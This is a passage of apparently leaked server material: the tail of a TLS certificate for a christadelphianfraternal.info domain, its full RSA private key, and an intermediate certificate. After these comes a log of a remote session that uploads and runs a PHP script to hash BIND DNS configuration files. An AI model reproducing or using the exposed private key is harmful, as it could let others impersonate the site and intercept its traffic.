Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:22:59: Establishing a connection
2026-01-03 19:22:59:
PUT: /tmp/pkp453572
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:23:00:
runuser -l bind -s /bin/bash -c '/tmp/pkp453572; rm /tmp/pkp453572'
2026-01-03 19:23:00:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:23:24: Establishing a connection
2026-01-03 19:23:32: Establishing a connection
2026-01-03 19:23:32:
